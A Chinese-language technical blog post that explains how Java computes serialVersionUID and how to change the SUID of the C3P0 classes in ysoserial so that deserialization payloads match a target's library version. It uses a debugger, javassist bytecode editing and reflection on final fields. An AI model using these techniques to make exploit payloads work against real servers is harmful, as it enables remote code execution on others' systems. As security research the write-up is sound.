Java在反序列时, JVM会把传来的字节流中的serialVersionUID与本地对应类的serialVersionUID进行比较, 在两个SUID不同的情况下, 会抛出版本号不同的异常, 不再进行反序列。
if (model.serializable == osc.serializable &&
!cl.isArray() &&
suid != osc.getSerialVersionUID()) {
throw new InvalidClassException(osc.name,
"local class incompatible: " +
"stream classdesc serialVersionUID = " + suid +
", local class serialVersionUID = " +
osc.getSerialVersionUID());
}
之前做JEECMS的反序列的时候, 解决C3P0 SUID不同的方法是直接通过修改Ysoeriali C3P0 JAR包的版本与目标环境的JAR包版本一致使SUID一致。
最近闲得想试试通过反射来修改Ysoeriali JAR包的SUID来使SUID一致进行反序列。
测试Jar包 服务端 C3P0 0.9.1.1、ysoserial C3P0 0.9.5.2,
提示本地jar包的SUID为7387108436934414104
而字节流的SUID为-2440162180985815128, SUID不一致爆出异常。
在com.mchange.v2.c3p0.PoolBackedDataSource类中,
public final class PoolBackedDataSourceextends AbstractPoolBackedDataSourceimplements PooledDataSource{
public PoolBackedDataSource(boolean autoregister){
super(autoregister);
}
public PoolBackedDataSource(){
this(true);
}
public PoolBackedDataSource(String configName){
super(configName);
}
}
未定义serialVersionUID属性。
如果序列化的类里没有显示定义serialVersionUID属性, 那么会通过computeDefaultSUID方法计算得出SUID。
public long getSerialVersionUID(){
// REMIND: synchronize instead of relying on volatile?
if (suid == null) {
suid = AccessController.doPrivileged(
new PrivilegedAction<Long>() {
public Long run(){
return computeDefaultSUID(cl);
}
}
);
}
return suid.longValue();
}
computeDefaultSUID的大概实现就是通过反射获取到反序列类的成员属性,方法,实现接口等以及它们的修饰符输出到流中, 最后SHA HASH生成SUID。
在这里计算SUID的时候 没有用到成员属性的值以及方法的具体实现, 所以如果修改了成员属性的值和方法的实现是不存在影响的。
private static long computeDefaultSUID(Class<?> cl){
if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl))
{
return 0L;
}
try {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
DataOutputStream dout = new DataOutputStream(bout);
dout.writeUTF(cl.getName());
int classMods = cl.getModifiers() &
(Modifier.PUBLIC | Modifier.FINAL |
Modifier.INTERFACE | Modifier.ABSTRACT);
/*
* compensate for javac bug in which ABSTRACT bit was set for an
* interface only if the interface declared methods
*/
Method[] methods = cl.getDeclaredMethods();
if ((classMods & Modifier.INTERFACE) != 0) {
classMods = (methods.length > 0) ?
(classMods | Modifier.ABSTRACT) :
(classMods & ~Modifier.ABSTRACT);
}
dout.writeInt(classMods);
if (!cl.isArray()) {
/*
* compensate for change in 1.2FCS in which
* Class.getInterfaces() was modified to return Cloneable and
* Serializable for array classes.
*/
Class<?>[] interfaces = cl.getInterfaces();
String[] ifaceNames = new String[interfaces.length];
for (int i = 0; i < interfaces.length; i++) {
ifaceNames[i] = interfaces[i].getName();
}
Arrays.sort(ifaceNames);
for (int i = 0; i < ifaceNames.length; i++) {
dout.writeUTF(ifaceNames[i]);
}
}
Field[] fields = cl.getDeclaredFields();
MemberSignature[] fieldSigs = new MemberSignature[fields.length];
for (int i = 0; i < fields.length; i++) {
fieldSigs[i] = new MemberSignature(fields[i]);
}
Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2){
return ms1.name.compareTo(ms2.name);
}
});
for (int i = 0; i < fieldSigs.length; i++) {
MemberSignature sig = fieldSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |
Modifier.TRANSIENT);
if (((mods & Modifier.PRIVATE) == 0) ||
((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0))
{
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature);
}
}
if (hasStaticInitializer(cl)) {
dout.writeUTF("<clinit>");
dout.writeInt(Modifier.STATIC);
dout.writeUTF("()V");
}
Constructor<?>[] cons = cl.getDeclaredConstructors();
MemberSignature[] consSigs = new MemberSignature[cons.length];
for (int i = 0; i < cons.length; i++) {
consSigs[i] = new MemberSignature(cons[i]);
}
Arrays.sort(consSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2){
return ms1.signature.compareTo(ms2.signature);
}
});
for (int i = 0; i < consSigs.length; i++) {
MemberSignature sig = consSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF("<init>");
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}
MemberSignature[] methSigs = new MemberSignature[methods.length];
for (int i = 0; i < methods.length; i++) {
methSigs[i] = new MemberSignature(methods[i]);
}
Arrays.sort(methSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2){
int comp = ms1.name.compareTo(ms2.name);
if (comp == 0) {
comp = ms1.signature.compareTo(ms2.signature);
}
return comp;
}
});
for (int i = 0; i < methSigs.length; i++) {
MemberSignature sig = methSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}
dout.flush();
MessageDigest md = MessageDigest.getInstance("SHA");
byte[] hashBytes = md.digest(bout.toByteArray());
long hash = 0;
for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {
hash = (hash << 8) | (hashBytes[i] & 0xFF);
}
return hash;
} catch (IOException ex) {
throw new InternalError(ex);
} catch (NoSuchAlgorithmException ex) {
throw new SecurityException(ex.getMessage());
}
}
这里来对比一下两个版本C3P0的com.mchange.v2.c3p0.PoolBackedDataSource
0.9.5.2版本,
package com.mchange.v2.c3p0;
import com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource;
public final class PoolBackedDataSourceextends AbstractPoolBackedDataSourceimplements PooledDataSource{
public PoolBackedDataSource(boolean autoregister){
super(autoregister);
}
public PoolBackedDataSource(){
this(true);
}
public PoolBackedDataSource(String configName){
this();
this.initializeNamedConfig(configName, false);
}
public String toString(boolean show_config){
return this.toString();
}
}
0.9.1.1版本,
package com.mchange.v2.c3p0;
import com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource;
public final class PoolBackedDataSourceextends AbstractPoolBackedDataSourceimplements PooledDataSource{
public PoolBackedDataSource(boolean autoregister){
super(autoregister);
}
public PoolBackedDataSource(){
this(true);
}
public PoolBackedDataSource(String configName){
super(configName);
}
}
两个版本的com.mchange.v2.c3p0.PoolBackedDataSource类中都没有定义SUID, 所以通过computeDefaultSUID来得出SUID, 而且可以明显的看出 在高版本的C3P0当中多了一个toString方法, 必然两个版本经过computeDefaultSUID得到的SUID不同。
对于这种没有显示定义SUID的场景, 大概想了几种方法。
尝试通过反射添加SUID属性, 然后再修改属性值为7387108436934414104。
但是翻了下文档, 没看到反射能添加属性这个操作, 就只有放弃了。
Hook computeDefaultSUID方法, 如果传入的类是com.mchange.v2.c3p0.PoolBackedDataSource, 直接修改返回值为7387108436934414104。
但是找了一下 都没找到个合适的能hook class的框架,
就直接用idea来”hook”了。
在computeDefaultSUID里下个断点,
把hash修改为7387108436934414104
就不会在出现SUID异常了。
直接使用javassist修改com.mchange.v2.c3p0.PoolBackedDataSource的字节码, 给它添加上一个值为7387108436934414104的SUID属性。
ClassPool pool = ClassPool.getDefault();
try {
CtClass cls = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
CtField field = CtField.make("private static final long serialVersionUID = 7387108436934414104;",cls);
cls.addField(field);
cls.writeFile();
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
修改字节码后, 重新打包jar包 加载到ysoserial当中,
serialVersionUID已经定义上。
再次生成payload,
不再出现SUID异常。
如果序列化的类显示定义了serialVersionUID, 只是值不同造成的异常解决起来就比较简单了, 直接通过反射修改该属性值即可。
由于每一个SUID属性的修饰符都是private static final,数据类型为long。
final修饰的属性没法通过反射直接修改属性值, 所以需要先通过反射修改SUID的修饰符 把final修饰符给去掉。
去掉final之后, 再修改SUID的属性值, 最后再把final修饰符重新添加回去即可。
假设(这是我自己改代码造的场景了)
YSO的C3P0 Jar包 SUID为7387108436934414104, 打反序列时提示
所以此时要把yso里的SUID从7387108436934414104修改为-2440162180985815128.
因为这时yso C3P0包存在SUID只是值不同而已, 所以直接利用反射来修改。
在生成payload之前把suid改掉,
try {
Class clazz = Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource");
Object obj = clazz.newInstance();
Field field = clazz.getDeclaredField("serialVersionUID");
field.setAccessible(true);
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setLong(obj,-2440162180985815128L);
modifersField.setInt(field, field.getModifiers() & Modifier.FINAL);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
}